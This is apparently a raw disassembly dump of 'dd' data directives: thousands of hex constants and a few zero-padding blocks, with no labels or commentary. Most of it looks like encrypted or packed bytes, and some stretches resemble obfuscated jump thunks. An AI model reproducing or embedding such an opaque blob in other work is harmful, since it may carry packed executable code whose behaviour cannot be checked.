dd 0E93E0DC7h, 0BFE8732Bh, 0E6F1A345h, 4BF1DC9Dh, 6EDE437Bh
dd 45E140h, 3C910000h, 123BC6D8h, 96F3B56Ch, 0DEFA3ACAh
dd 0FFE6837Bh, 8DCED045h, 0DAF68E34h, 7E09C0Ch, 0E636C11Ah
dd 507C2BCh, 902091CCh, 0E08B1174h, 40E63F07h, 0E08B65CCh
dd 34EE6F07h, 6E96F52Dh, 969340h, 0A7240000h, 42A7326Ch
dd 0FF3FCFCFh, 0E68380E3h, 0D83B57FFh, 0FEFFE683h, 650B64A5h
dd 0BCA66DD2h, 52DD4658h, 427826EDh, 0E6D671CEh, 0B2EC27FFh
dd 4FA4E47Ch, 2A53DEC0h, 0E6D65BBEh, 8A3089FFh, 70006029h
dd 0E3B57E54h, 0A3338C07h, 0A5DBC34Eh, 0C78519F8h, 9E622B7Ch
dd 0B8F594CFh, 39000008h, 0DE8BC1DDh, 87346A34h, 2DDA108Eh
dd 0D986BCE2h, 0FC306638h, 0EDB16047h, 940A0AB7h, 3F5FB15Eh
dd 0E7B75C09h, 6E8AE2B1h, 7E6B60Bh, 0A71CD339h, 51FE346Ah
dd 0EFA6DCC2h, 0A2326CA7h, 32D8C64Dh, 0AE254F9Fh, 92AFF1CAh
dd 0EC5549C7h, 247A9946h, 2A707EEh, 0F3A00000h, 1E3ACA96h
dd 7E6AB8Bh, 4170AF19h, 0D30B7FB3h, 3A8FDF6Ah, 0D439C4DAh
dd 50F65F3Fh, 0E70475DCh, 44FE7F07h, 867E4B75h, 6DFC19C1h
dd 1BFF7C7h, 51A64075h, 2B73A0C2h, 680E37C2h, 23787h, 80E01800h
dd 57FFE683h, 8398FB17h, 536FFFE6h, 0FFE682F0h, 237CBD16h
dd 0CC6D1C7Dh, 0E6834DB0h, 0B11A73FFh, 0AB6A0521h, 0BF1807E6h
dd 6539DA2Fh, 0FA6D972Fh, 70183DA0h, 0C4C5705Bh, 0D76E834Ah
dd 0F8F8431h, 1B1E6B84h, 25A6E2F1h, 63CF4B7Bh, 7E74400h
dd 0D464CD26h, 0E170BEB8h, 0DCB240Fh, 96644A28h, 0B431D00Bh
dd 3D000007h, 0E28FC5D9h, 8B386E30h, 31DE148Ah, 0DD8AC0DEh
dd 346A34h, 0F1AD644Bh, 98060EBBh, 435BB562h, 0EBB3600Dh
dd 728EE6B5h, 7E6B70Fh, 0BC18CF35h, 82FD607Ch, 0CA23FFE6h
dd 29C7724h, 9D011277h, 0BC5F612h, 6F8BEC27h, 0FFE6830Ch
dd 4278E13Ah, 748F3A72h, 172D838h, 5E880000h, 3F5B252Eh
dd 0FFE61EDCh, 0D637B10Ah, 0CD842A66h, 0EF0B6CA7h, 0FFE6838Ch
dd 0F9E761BAh, 0E4FD3CDFh, 0F85DE851h, 9EF3831Bh, 739C2777h
dd 5B2E8FCDh, 784B7505h, 0F8ABB36h, 84A038DEh, 7E132EAh
dd 88B43F98h, 7E13221h, 0D33E932Bh, 0EAA425CBh, 1949C61Bh
dd 0F11AA5F9h, 0DA12E288h, 78406F39h, 65h, 2EA8FE28h, 4B7933EBh
dd 234CD7C7h, 0EA240BAh, 76B222E5h, 96F319D0h, 0A5FA3ACAh
dd 8CEF0B6Ch, 0BAFFE683h, 0DE52F861h, 7E09C10h, 0FB25B50Eh
dd 93AF9882h, 7E09130h, 5883FD56h, 0FCA270B2h, 0A5AED93h
dd 0B8435BB5h, 80E3FF8Fh, 0A607E0ABh, 0CC33A74Dh, 0D607E0ABh
dd 5C949B55h, 0FA406EB7h, 9Ah, 607CBC8Bh, 0FFE682FDh, 7724CA23h
dd 534BC69Ch, 17FA5FEAh, 7C97FC87h, 0E1329722h, 0C61387BDh
dd 91FFE6FDh, 0FDD23551h, 0A700FFE6h, 0DFBF5401h, 1F4148A9h
dd 0DC9D738Fh, 70C907E3h, 18868BE0h, 0C2DC35E2h, 62022B04h
dd 1EBDF89Eh, 63Fh, 43A64B2h, 0ADE3BB57h, 53891500h, 0FF3569A6h
dd 0A9DFBF52h, 3AD7C075h, 93812E64h, 0E828D50Bh, 40D380B6h
dd 159285Eh, 0E6B982E5h, 934AB007h, 0FE346AA7h, 5E783C66h
dd 0B65389BBh, 0E74C379Ah, 9B045DFFh, 0D3CB48F5h, 6CA7E69Dh
dd 0D142A732h, 2EB097CDh, 49000000h, 0A7326CA7h, 42CDD142h
dd 12F6B0E9h, 0CF679D01h, 797C4CA5h, 0E774FA5Dh, 55CF28FFh
dd 382084DDh, 3B9A7BE5h, 0F8DF85EEh, 4Dh, 0B6CA791h, 0E6838CEFh
dd 0EA25BAFFh, 69A64BB4h, 0E73CCC35h, 3CCF7529h, 610EC2ECh
dd 0B2CB751h, 268BF165h, 0C053FFE7h, 0C8316DA2h, 523BD83Dh
dd 0D7DEB89Bh, 37C22B47h, 50F8B2F3h, 0BDA15BDCh, 7A124856h
dd 0F2F9AF50h, 4EF4D4A0h, 326CA797h, 0F0257A7h, 35DB048Fh
dd 829AB5D4h, 0FB26C5E9h, 6581117Ah, 7E71BD6h, 0DB1BAB04h
dd 86118D86h, 0D9B71A36h, 84DD07E6h, 4BC8751Bh, 0B2DD6F42h
dd 0CD362DE2h, 7529EA97h, 0A8B8D1EAh, 4EC2FC18h, 0FC510FE7h
dd 18117518h, 619B0D54h, 11D6DF8h, 0FFE6949Eh, 5C026BC4h
dd 0D52ABA13h, 7D2A603Eh, 647D0896h, 8FAB3B25h, 7E0BD2Dh
dd 514DC459h, 0AD3866ACh, 0C45D1B84h, 479E649Fh, 4E96D0Ch
dd 0E080000h, 65AD5A90h, 0BF560339h, 13FCA9DFh, 69A8558Bh
dd 16CBFF35h, 84BAE42Dh, 2B613DD7h, 0D60C927Eh, 7EB4EA29h
dd 0D83B57AFh, 0FE07E6BAh, 6CA7E198h, 4662A232h, 0FFE682E3h
dd 8343A6C2h, 1871FFE6h, 0D83B57D7h, 0FEFFE683h, 58963CA5h
dd 0AB3668ABh, 46D1CD46h, 5B3FF92Ah, 0E0B0E6B8h, 38748FA8h
dd 0DF254F8Fh, 4A5C2277h, 42E144B0h, 0B60FFFE6h, 4D2F10h
dd 9FDF0000h, 0E6432083h, 47ED46FFh, 0CA96F390h, 6EA5FA3Ah
dd 15168A30h, 0BF07E0D3h, 8F81D666h, 0D269CCE8h
dd 3E9707E0h, 0BB247A99h, 0D2AC1185h, 9D7607E0h, 0C6514DC5h
dd 51FE349Dh, 0B554DFBFh, 42Fh, 0AE112D6Dh, 0D407E0D2h
dd 0A71ED57Bh, 57A7326Ch, 0FFD4BC2Dh, 0EA90573Ch, 38C8D63Dh
dd 5079DCF8h, 4EA7FFE7h, 80096AA8h, 9A3450E0h, 4807E17Bh
dd 0EA1464EFh, 4CED30AAh, 86FAA0ECh, 7E0E51Fh, 0EC7727E9h
dd 88138B87h, 0D9813B6Ch, 6A39F374h, 0FBA0FE15h, 0D6FF8A14h
dd 0ED286030h, 27C6406Eh, 57000000h, 3ACA96F3h, 0E9742AE5h
dd 66821AC0h, 7E09B98h, 0B6E26DC6h, 7E09B4Fh, 171ED859h
dd 406EA6DFh, 0E37Dh, 6CA70E00h, 0CF42A732h, 83298CA8h
dd 0FE57FFE6h, 6EA50A95h, 0C64BA030h, 0D3B690C7h, 46AF4B5Bh
dd 59EC92BBh, 4AADC909h, 78FFE744h, 47CC791Fh, 30AD2157h
dd 3FFFE749h, 0D0728D15h, 3B57E12Ah, 0FFE6DAD8h, 963CA5FEh
dd 3E742AE9h, 8B47CA6h, 0CA0B8F7h, 6BF6A867h, 24EF9C42h
dd 0B3D6EF7Ah, 1B011DADh, 4707E0B0h, 3257B8EEh, 0A6829E2Eh
dd 0C00FDD67h, 9282D767h, 79CE660Ch, 839FDF98h, 0FFED6320h
dd 1E81ED46h, 0F5FFED63h, 0ED6376D9h, 2439CFFh, 5BB040A9h
dd 240E6B8h, 24E2BC55h, 99984727h, 0FC2AC904h, 0F5000002h
dd 9A477D21h, 43F02678h, 0E996CCD2h, 95427826h, 0B8EC227Ch
dd 0A9F51C03h, 504EC673h, 0FBA36D1Ah, 0A3FB18C5h, 2A469E6Dh
dd 7E6BCC7h, 0A7D087EDh, 51FE346Ah, 0EFA6DCC2h, 0EB277CBCh
dd 93FF28B3h, 0FFE68330h, 0F657FD56h, 278AA693h, 4DFFE683h
dd 0E54864F4h, 0BFFE682h, 9DB949B2h, 7E09BCFh, 97E772CBh
dd 1EDBE6Dh, 0E48AF836h, 0E0F10970h, 0D8921307h, 6EFD99D1h
dd 0E73740h, 0BCC80000h, 50F6A867h, 0A32E70A3h, 3BCBD33Eh
dd 0DA382AE6h, 0A71039C4h, 0C5426E01h, 0BBFFE688h, 76B64658h
dd 0FA9BB74Ch, 44B02D5Ch, 0FFE725E1h, 0D210B60Fh, 20B0EE25h
dd 0F71A48CBh, 5983EA7h, 33C39DECh, 8D72C9F3h, 575403B5h
dd 63573DB1h, 2A8307E1h, 59F693F4h, 0F30E1DCBh, 4EDE4721h
dd 0DDFAF732h, 0E474CD0Fh, 31E0828Fh, 977DE26Dh, 0EA537C07h
dd 5EB34B81h, 245EE9B5h, 1FEE8BABh, 640A7331h, 86445AB7h
dd 9998008Bh, 0EC82215Ch, 5000001h, 0AA578D11h, 53003668h
dd 0F9A6DCC2h, 0A5528816h, 0C8FC326Ch, 0B9E52C13h, 603ED683h
dd 0B937D2Ah, 0B3EB28D5h, 3A56AE7Dh, 7E6BDD7h, 0A7E097FDh
dd 0C25B236Ah, 7F482B9Eh, 0DF318616h, 44CF34BFh, 0D4BF15Ah
dd 3CDAB360h, 31EB7FF9h, 48F0F03h, 0D30972DBh, 326CA71Ch
dd 0E0257A7h, 36DC0590h, 0DE148A89h, 2CBCE231h, 0BB603ED7h
dd 93BC4757h, 48415AEDh, 526C8818h, 7007E099h, 0E0328717h
dd 99187B97h, 0E53E07E0h, 22C8F17Ch, 1AD4FD8Fh, 31C1DD36h
dd 0EB2A38DCh, 96FF28B3h, 326CA60Bh, 84E523C9h, 8BCB5B05h
dd 0E0990C6Fh, 3BE13A07h, 0AE9187A3h, 0A83D0FDAh, 818F346Ah
dd 0E424B41Dh, 0E68665C8h, 8C328BFFh, 0E37F94F9h, 0B8E16C32h
dd 0A56ABF4Fh, 0DF4856BDh, 0FD4DA639h, 0A6316DA8h, 86D73A56h
dd 0A4FDFFE6h, 5A14953Bh, 999C7C2h, 864AADC9h, 1F78FFE6h
dd 6006987Ah, 9BB6ACC8h, 0CB2407E0h, 732BE895h, 0D58D83E8h
dd 0AAD35E40h, 0FB24B641h, 0F2327241h, 0E09973D6h, 0DC48A107h
dd 7E09979h, 9FFF12A7h, 0DD82EB14h, 14C16737h, 8699FFFh
dd 671A381h, 0E09987EAh, 0EB54AD07h, 0BCD6F282h, 9B0FDAAFh
dd 83DC3F5Bh, 0B10AFFE6h, 2642C20Bh, 0FFE683C3h, 832386A2h
dd 0F851FFE6h, 65F55EB7h, 0F69C0210h, 8915FE63h, 89436CFEh
dd 85A198F1h, 0FFE68322h, 0FE8EF750h, 0E099C8E2h, 0C949DE07h
dd 0B9E530D5h, 0D0B91A50h, 0A6E40090h, 940FE0C0h, 0C84BB03Bh
dd 9E29759Ah, 0B4CF324Eh, 9CF50FE0h, 1C828E33h, 43D07DB3h
dd 0B0A4D05Bh, 0C6673581h, 9EEF2176h, 6C97CB54h, 0CC57C013h
dd 94F713A3h, 0C258950Ch, 8842C369h, 0F92F6FA4h, 4CD7C74Ch
dd 0EB7628E7h, 92763059h, 3AE71D81h, 9B3AC5D9h, 3, 0A75CBB34h
dd 3FA42F6Fh, 0DA3FCAD4h, 78DD6836h, 1277029Ch, 0AF149FFFh
dd 4CB13C62h, 0EB50DBC3h, 84E9742Ah, 5285108Eh, 8904EC83h
dd 0BB532424h, 4, 4245C01h, 0EAC685Bh, 1C890000h, 5D1F6824h
dd 2C890000h, 0ABBD5524h, 55080028h, 44240481h, 5B4D7B61h
dd 6144EB81h, 545D4D7Bh, 83242C8Bh, 535304C4h, 0FC73E3BBh
dd 245C0107h, 458F5B04h, 86D8108h, 7FC73E3h, 52242C8Bh
dd 0C281E289h, 4, 4C281h, 14870000h, 1C8B5C24h, 0E1895124h
dd 4C181h, 0C1810000h, 4, 5C240C87h, 0FA41FFE9h, 9864F8FFh
dd 0CBEA6513h, 1EF8BCF6h, 0B80CC76Fh, 8003C6Fh, 0E0FFC503h
dd 4096EED1h, 3DC83935h, 19DA75CDh, 38EE34B4h, 0F6569BCh
dd 5DD75BB6h, 0CFE1B80h, 37A5D26Bh, 74FF29B3h, 30D3DAA8h
dd 347CEFDEh, 411A9784h, 7B8B0045h, 5B3450B8h, 5C237716h
dd 5E8h, 83157B00h, 8B0FB31Fh, 5, 0D3F38166h, 81F55A50h
dd 74ACC2h, 0A7F18000h, 1E4D6FBFh, 93F78157h, 0F571E51h
dd 328BC6B7h, 10E9h, 0FA481C00h, 0A382257Ah, 95E2B26Fh
dd 5BCD9275h, 0DAEE81D4h, 0F90DC170h, 40C7EE81h, 0EE8164CDh
dd 2606DFF1h, 5BFEB157h, 8FDF8B56h, 0C3BF0F02h, 473EEA81h
dd 53B52125h, 473AC281h, 66602125h, 0FD6E5BEh, 587h, 0D7816600h
dd 4F61B13Fh, 23850Fh, 0EE90000h, 1000000h, 0A64C2711h
dd 187A0FBEh, 0FA5A1D27h, 23E974h, 0FB800000h, 494FBBDBh
dd 0E80F7CA3h, 0E9CB8AB2h, 0FFFFFF7Ah, 0F93C4667h, 0BA0E072Eh
dd 3EB4B7E8h, 52D0003Eh, 2DE9B3h, 0D0660000h, 36A3h, 9 dup(0)
dd 0E9000000h, 4DBh, 3C722CEAh, 0E51B838Fh, 8BC1DD38h
dd 376D31DEh, 0E117878Ah, 20FF8ADh, 5BB9669Ch, 0B0600D43h
dd 80BB8EEh, 39916096h, 0E6C1BA1Dh, 0CB82E807h, 0A7326CA7h
dd 99CFCF42h, 0EC7727ECh, 3BD68C87h, 6C88D863h, 0FFE68309h
dd 0C75DE37h, 0A8F61C81h, 0D18BC41Dh, 0D43C26EDh, 0BB1E3ACAh
dd 0E9FFE683h, 44F12790h, 7531C1CCh, 2CA7D874h, 30E08DC3h
dd 967EE36Eh, 474E7808h, 2A618AA8h, 0EA7C0FB5h, 0ED2307C1h
dd 230B6E8Ah, 0CEEAFFE7h, 0FFE7236Bh, 0A6FF4099h, 1A6F073Dh
dd 0F51EA9F5h, 2D71A24Fh, 231076A2h, 0D041FFE7h, 2ED70F16h
dd 50753875h, 6000000h, 0A7326CA7h, 0E683167Bh, 18D243FFh
dd 748ED911h, 0D7738h, 0FD270000h, 41252AE2h, 1FF095A7h
dd 0A722D97Fh, 6737226Bh, 0A1BB67Ah, 61B116A1h, 0D62B23Dh
dd 45F29806h, 2E91ADCAh, 54FFE715h, 0AE0792FBh, 3BD7BB75h
dd 93802D63h, 0A71ED50Bh, 44A9346Ah, 2945D0CEh, 0B75A3EF8h
dd 8CE849D6h, 0A91237BEh, 4E50C419h, 56BD6AA8h, 31A20521h
dd 77D0FFE7h, 0F71E830Eh, 31016480h, 46CBFFE7h, 55BE1758h
dd 66985C5h, 2CFFE731h, 759A2DD3h, 0EB333AF4h, 89387536h
dd 7Bh, 346AA71Ah, 11127AA4h, 3090DC55h, 7DA7F78Ah, 420A89C7h
dd 43F096A6h, 0E841CCD2h, 11F5AFh, 5CB90E9Eh, 0E88EB742h
dd 8A14FDAAh, 29759AFFh, 3EF8799Eh, 74A4EF37h, 9181D638h
dd 5686670Dh, 36000000h, 25CDE20Ch, 6B1181BDh, 346AA7B4h
dd 0ABCC44A9h, 0E6832C8Fh, 4EC55AFFh, 339CC550h, 0BAFB3FCAh
dd 37DC3100h, 0DB3DC67h, 0D0DCB160h, 0E18613EDh, 0C42D719Eh
dd 0A76E255Bh, 7CA8336Bh, 0FFE68316h, 151CD647h, 38748EDDh
dd 87Bh, 3AD62B00h, 0AB0D964h, 306EA753h, 0F91555A5h, 0FFE68396h
dd 0D1E963BCh, 0B9DA14F9h, 38DB882Eh, 9976DB66h, 0FE157A05h
dd 5A8315A0h, 0FD26F8A0h, 0C1B65F43h, 0E6B342A5h, 721770FFh
dd 6197009Eh, 47D78900h, 0E0CACD2Bh, 15A0F907h, 53B63B0h
dd 58E3BB58h, 0E0AAC72Ch, 0B771B207h, 0EE2240D3h, 641147B0h
dd 425CB3AFh, 9A258EB7h, 35C0DE35h, 0D35E40D0h, 6FFAA46Eh
dd 8830EA2Bh, 5D41FB2Ch, 0E2B2E8B6h, 406EB6AAh, 0D2355191h
dd 7E09Eh, 0C3128096h, 0B51E58CAh, 1332E0Fh, 0F3BF0000h
dd 0FA3ACA96h, 833B9EBAh, 0E630FFE6h, 0E0FA294Bh, 0EB40D4Eh
dd 0E10F449Ah, 6EF95207h, 5E940A09h, 0B13C62B1h, 47D7C74Ch
dd 0DA801EF2h, 40FA2B47h, 0B1E7B75Ch, 6EF1A9E1h, 674740h
dd 0BCD80000h, 4BF1AD67h, 2DBDA3EAh, 0E6838E11h, 4BDB347Fh
dd 0F6811DF6h, 0DBB353CDh, 0BD8669F6h, 0F5588417h, 0CA7FE67Eh
dd 0CB2E4A8Ah, 0F97FE67Fh, 89F2AC64h, 10A862E3h, 3DA0BC7Dh
dd 637FE67Fh, 8A1B47F9h, 0F15A7506h, 6ED7C74Ch, 6E3FC2DEh
dd 4CA5FFE6h, 9B2F16h, 0BDE70000h, 155FF41Ch, 0BCE22D8Eh
dd 0F99F0831h, 0CA96F342h, 9AB41E3Ah, 0D93207E0h, 742AE94Eh
dd 1C82913Eh, 99FD6591h, 65A607E0h, 524CC7ABh, 6BCEBB1Ch
dd 0E098EC4Fh, 47C11A07h, 0DE5D5F1Ah, 39C932A1h, 0E0D9C71Dh
dd 0EF7AD30Fh, 3CD9898Ah, 45AED762h, 193575B5h, 0FE0A9B6h
dd 0B41783DCh, 0E20FE0A9h, 0BE50E389h, 52DC547Eh, 24D5D01Fh
dd 71392EAAh, 28CE707Ah, 0F41EEDA7h, 312E2AEBh, 7EDF85E8h
dd 0A9C5550Bh, 17E11F53h, 4235DB30h, 0E0E3C326h, 2F98F107h
dd 0B1E74089h, 5692BCFAh, 9D4D9981h, 0A62F6390h, 0CE377DE3h
dd 9EC2C728h, 0B59CF20Eh, 35CA07E7h, 0D36C1DDh, 7B083893h
dd 0FB646E10h, 96080B70h, 3E60B360h, 72363B3h, 7E767A4h
dd 0C8D63DD2h, 0BF45B95Fh, 93468AFAh, 57BCA05Ah, 0AF641147h
dd 0FA49ACC8h, 523E3689h, 37EA9509h, 3BA4FD3Eh, 1DAB81ABh
dd 9C0148EEh, 11FE63F6h, 4770028Dh, 346AA98Dh, 0DEC04FA4h
dd 46842A53h, 99247A99h, 3FAh, 5CBB9300h, 0A42F6FA7h, 3FCAD43Fh
dd 0DD6836DAh, 77029C78h, 149FFF12h, 0B13C62AFh, 50DBC34Ch
dd 0E9742AEBh, 85108E84h, 4BE46852h, 1C890000h, 53DB6824h
dd 4890000h, 0E0895024h, 405h, 42D00h, 4870000h, 0C895C24h
dd 0EABD5524h, 452DEF74h, 4501ED83h, 4F6FF581h, 0ED817878h
dd 4D96FD41h, 545DE889h, 83240C8Bh, 895604C4h, 8B850C6h
dd 1000000h, 583089C8h, 240C8B5Eh, 81E28952h, 4C2h, 4C28300h
dd 5C241487h, 5724048Bh, 0C781E789h, 4, 8704C783h, 0E95C243Ch
dd 0FFFA3BD8h, 0B8E99F62h, 800429Ch, 0E0FFC503h, 64008D31h
dd 7C21B894h, 1DBFA9DCh, 2307E8A5h, 498F6E66h, 6EFEF55Eh
dd 400FB724h, 59B8FBDEh, 3AFB3B28h, 441E40F1h, 7AE2BBD7h
dd 7A345608h, 46A3E5B4h, 1E96DC09h, 435805B1h, 34AC51FDh
dd 64CFBEBh, 6749362Ch, 51D98BB6h, 3476AB30h, 92D03CAh
dd 7BCC3364h, 3AF88762h, 1F286778h, 444F8D8Dh, 0B52B0800h
dd 7FA2EC9h, 1CD98D89h, 6A07FAh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 180424h, 57470000h, 120BB4C3h, 0BD8B10C4h
dd 7FA051Dh, 31AD85C7h, 6CA007FAh, 29560000h, 0FA2A2585h
dd 85C75A07h, 7FA2BD9h, 0
dd 80D7B860h, 6E82FDDh, 73000000h, 8FC55391h, 595F56C8h
dd 0EDB5FF61h, 6A07FA0Eh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1C042444h, 40000000h, 2975C350h, 9C036305h
dd 8139A1A3h, 9C4182D7h, 9995FF33h, 6A07FA17h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
dd 3395C357h, 0FA0CE985h, 0FF006A07h, 0FA101995h, 0EBC08B07h
dd 0A942205Dh, 0C7EAC9E5h, 0EEF5841h, 27205FD2h, 406FC1D5h
dd 0B78F1C3h, 1AB60636h, 4AD4EE4Eh, 4AB20722h, 43A1CD50h
dd 42AB9233h, 0DE12B512h, 85176A4Eh, 0E3242972h, 216A046h
dd 0B98C77A8h, 0E12B8DC5h, 0BBCB65DAh, 0D63B535Fh, 868F6331h
dd 0E1AB8733h, 42B7365Ah, 66E4C4A6h, 9AE9203Fh, 0E9000000h
dd 4707390Bh, 0F3BAF5CCh, 0D666D138h, 979FABAFh, 0E37C4DB2h
dd 720095B7h, 0B5E9A9E5h, 609BB69Ch, 0A9B6F377h, 609EB794h
dd 897D60D7h, 8C9EA9BDh, 0E3729EBDh, 204A95ACh, 7E9BB98Bh
dd 0B99D8993h, 96AFF496h, 0B594A19Eh, 0FD91A7D6h, 0CC48D100h
dd 3C33594Ah, 4D520071h, 5EF357DBh, 0BBEFB600h, 0BD899Dh
dd 0B69F8995h, 97BBEFh, 0C3B1B6D0h, 527155h, 0C20DA437h
dd 0E0910D3h, 7 dup(0)
dd 0F50E900h, 1B680000h, 0E9080047h, 0FFFA3994h, 480068h
dd 398AE908h, 0F168FFFAh, 0E9080048h, 0FFFA3980h, 49F668h
dd 3976E908h, 7168FFFAh, 0E908004Ah, 0FFFA396Ch, 4AF468h
dd 3962E908h, 0B568FFFAh, 0E908004Bh, 0FFFA3958h, 4C7968h
dd 394EE908h, 3068FFFAh, 0E908004Dh, 0FFFA3944h, 4DE168h
dd 393AE908h, 9168FFFAh, 0E908004Eh, 0FFFA3930h, 4FD768h
dd 3926E908h, 3F68FFFAh, 0E9080052h, 0FFFA391Ch, 533868h
dd 3912E908h, 8E88FFFAh, 0E52DDA10h, 3FD683B9h, 937C295Fh
dd 0E928D50Bh, 964B7FB5h, 43A64ADh, 0ABE1BD57h, 568C12FEh
dd 0FE346AA9h, 58BBD72Fh, 7E07E6C8h, 92BC6118h, 4B67953Ah
dd 0FFE68DE8h, 523BB50Eh, 5300A6C1h, 0EE53DEC0h, 94E97925h
dd 0FD980F7Eh, 2EABDADBh, 80E11FC5h, 0ABC75709h, 7E0D011h
dd 0A5D15CB5h, 7E08B3Eh, 3E0DC748h, 8B7FE2FEh, 4CA507E0h
dd 8D336BA7h, 6E9385BDh, 3D2340h, 0F3B40000h, 0FA3ACA96h
dd 0A5306EA5h, 9462D67Ch, 4307E09Bh, 73113019h, 6FFF8FABh
dd 0E088F053h, 17BD1607h, 9AEA75CEh, 28CED045h, 0E0894DB4h
dd 1CD65707h, 6E94DD15h, 0C17B40h, 0A70C0000h, 42A7326Ch
dd 0F444CFCFh, 0A22D719Fh, 0ED26D379h, 76019D75h, 0F459E44Dh
dd 0C5EF7F1Fh, 211479D1h, 42D07581h, 2A8D15Ch, 7ED450C4h
dd 858EFFE7h, 0DD36E319h, 80731C1h, 86EC4BE2h, 48F0F04h
dd 46CD72DBh, 0CF1FB258h, 4BC89A7Ah, 365FEA53h, 65A2F90h
dd 0A0BC5A76h, 91EA07E1h, 0D18FFA5Bh, 42E22541h, 77D00FDEh
dd 1F7F92E7h, 0C9D53CE9h, 98B5420Bh, 53F22D99h, 0CEEh
dd 144A54C2h, 0BDF3AB67h, 63990510h, 0F4559B6h, 0B9EFAF62h
dd 2AE7D085h, 83913E74h, 0D838E51Bh, 30E390C6h, 1169386Eh
dd 0E6CA92F5h, 0A35AC007h, 0BAA867BCh, 50DB445Ah, 3DD48127h
dd 957E2B61h, 0F31CD309h, 1E3ACA96h, 7E09C50h, 3E6AF54Eh
dd 7E09BD7h, 9FA660E1h, 406EA767h, 0CF05h, 6CA79600h, 0FA8519F6h
dd 78DD68D1h, 20750599h, 7508AEF0h, 0E687CD49h, 207E95FFh
dd 0E12852EAh, 74012482h, 1BA6F819h, 36E389F2h, 1D36C1DDh
dd 4559B86Ch, 982891BAh, 93CF666Eh, 0E6C81477h, 6FE942FFh
dd 791F59CBh, 7427C5E1h, 0AF0407E1h, 84AD3866h, 63C95DEh
dd 0A3FB196Eh, 0E849EF18h, 132FBFA1h, 0FDE52BFh, 0A9FE8EE7h
dd 82AB3668h, 22EF44DCh, 7899467Ch, 0A5AB6826h, 45809998h
dd 0C09A6h, 2F6FA700h, 0D8C64CF9h, 7E20F5A2h, 2A749B48h
dd 0D4CA47F4h, 0CEB56A9Eh, 78255B43h, 1FCC029Ch, 0CA77ADF1h
dd 501F5549h, 0CB79DCF8h, 41A707E6h, 346AA78Ah, 0F64A4h
dd 83CF329Eh, 9CF5FFE6h, 80BB8F6h, 5EB10696h, 0A55C9A40h
dd 0FD607CBCh, 23FFE682h, 0AE17878Eh, 0C970709h, 83903DE3h
dd 0E82B901Bh, 42D380B6h, 0A76CD15Ch, 8351B4D0h, 267FFFE6h
dd 0D1ED2DBDh, 0FFE6836Eh, 57953B94h, 0CEBB657Eh, 0E4E60292h
dd 8307E089h, 89C42743h, 99F207E0h, 1451AAF3h, 6ABA4AB0h
dd 372960FFh, 0DCC252A7h, 7C982851h, 0F056BA19h, 0B048EE47h
dd 50DCA694h, 4BDB34F8h, 0F8831BF6h, 931E8093h, 0C85B016Ah
dd 0F686DAAFh, 6E3C50DAh, 6DFD56FFh, 7898ED2Dh, 6729B26h
dd 0F05E39A3h, 25D278D1h, 0CD7AB0EEh, 0A79A5846h, 0A869E93Ch
dd 0B18CE6Dh, 7E980000h, 0D53DEA20h, 2FE693C9h, 838C396Fh
dd 0D938E51Bh, 0A65B8FC5h, 144A54BDh, 0BBF1AD67h, 669C020Eh
dd 0E445AB9h, 68CBE73Fh, 8E07E6CBh, 6CA77128h, 838CEF0Bh
dd 25BAFFE6h, 0E14AB3EBh, 144C3D56h, 0A2266884h, 0B30C07E0h
dd 0F36D1C7Dh, 42CE2363h, 2A8D15Ch, 0DAC4588Eh, 9D2D860Fh
dd 2FBAEC73h, 0C86E7D1Ah, 76A20935h, 2BACFFE7h, 82326A71h
dd 2ED03875h, 61000000h, 3ACA96F3h, 0E0D31D1Eh, 0DE6EC707h
dd 0E1178789h, 0E0D2086Dh, 5D41D207h, 8967A27h, 0A7CDE7Dh
dd 56960000h, 0E0D2D73Ah, 0FEA4FD07h, 0CA96F347h, 0C8E21E3Ah
dd 0A3FC07E6h, 54B7D313h, 8207E6C8h, 0C883E602h, 58B107E6h
dd 5CB149EFh, 4B1E7B7h, 0EB048F0Fh, 1632C29Eh, 0FE70D69h
dd 65C8E424h, 27FFE684h, 1871B2ECh, 40D02972h, 407628EBh
dd 931E8093h, 0C1510F7Ah, 0E0AD43A5h, 58166F07h, 9E64A2EFh
dd 1382215Ch, 9D00000Ah, 42EF2579h, 0EB98CED0h, 913E742Ah
dd 3DEA207Eh, 6094CAD4h, 514DC4ABh, 0F8A66E1Bh, 0A3FB15C2h
dd 4B53C06Dh, 0D2EE4615h, 7E6CC6Fh, 0E0782F95h, 0FFE68379h
dd 0D666FA8Fh, 0E6C815BAh, 0D666BF07h, 0D60C9281h, 7FE2FE3Eh
dd 0A507E6C7h, 3C45D24Ch, 252AD188h, 5D41D27Fh, 39B78CDh
dd 5FEAB45Eh, 0E4FD9036h, 0F2BBBA5h, 0FE143CDh, 73E2A0F9h
dd 0DC966434h, 99802A1h, 0FE180000h, 55BD6AA0h, 0AF661349h
dd 30CB9EFh, 59B8659Bh, 26DB0F45h, 94CAD43Dh, 3B712DE7h
dd 0E61C828Eh, 8EC4DA39h, 0E84B67BFh, 0E07E6CCh, 7CBCF1A8h
dd 0E682FD60h, 24CA23FFh, 77029C77h, 129D0112h, 0E2E9A314h
dd 38748BAAh, 46348h, 96F3D900h, 851E3ACAh, 1F07E6C8h
dd 32E136C6h, 50B9E530h, 0F8A66D1Ah, 0C7DA416Dh, 99F007E6h
dd 0D91B37C7h, 0FD0FE0E6h, 0D175E6A4h, 9BD69664h, 915FCh
dd 237B9B00h, 0CCD240EDh, 722CE996h, 1E808F3Ch, 0C8D63BE8h
dd 0C2A95E92h, 6C194F4Fh, 13C0F6A8h, 0BE6BA1FDh, 44134955h
dd 0CD6DD0ECh, 2D9307E6h, 326CA776h, 7B2D57A7h, 1F7F9383h
dd 75C348A5h, 0E6BBF659h, 5AC31CFFh, 920C07B4h, 2D71A207h
dd 0C7D73DA2h, 0F0AAE33Ch, 0DF990A48h, 74C4A0D8h, 3CA3E38h
dd 0E0CF0000h, 0FFE68379h, 0D666FA8Fh, 6A0F8F81h, 0BA52F8A6h
dd 0E6C83B9Eh, 3BD46907h, 46AFD863h, 0ECB261B6h, 6D0A09B6h
dd 0E6C7EE51h, 52BB1407h, 0EF2277C7h, 55FB24AFh, 7BBA95F4h
dd 0FB17BE47h, 5CBFDB6Bh, 8A07E6F4h, 1C38C831h, 0FE113DAh
dd 74F1AF08h, 0D79664E4h, 854FD9Ch, 0BA5C0000h, 1101AEE4h
dd 6BAA578Dh, 0BF50FD33h, 15FCA9DFh, 6A1F5389h, 0D80E9081h
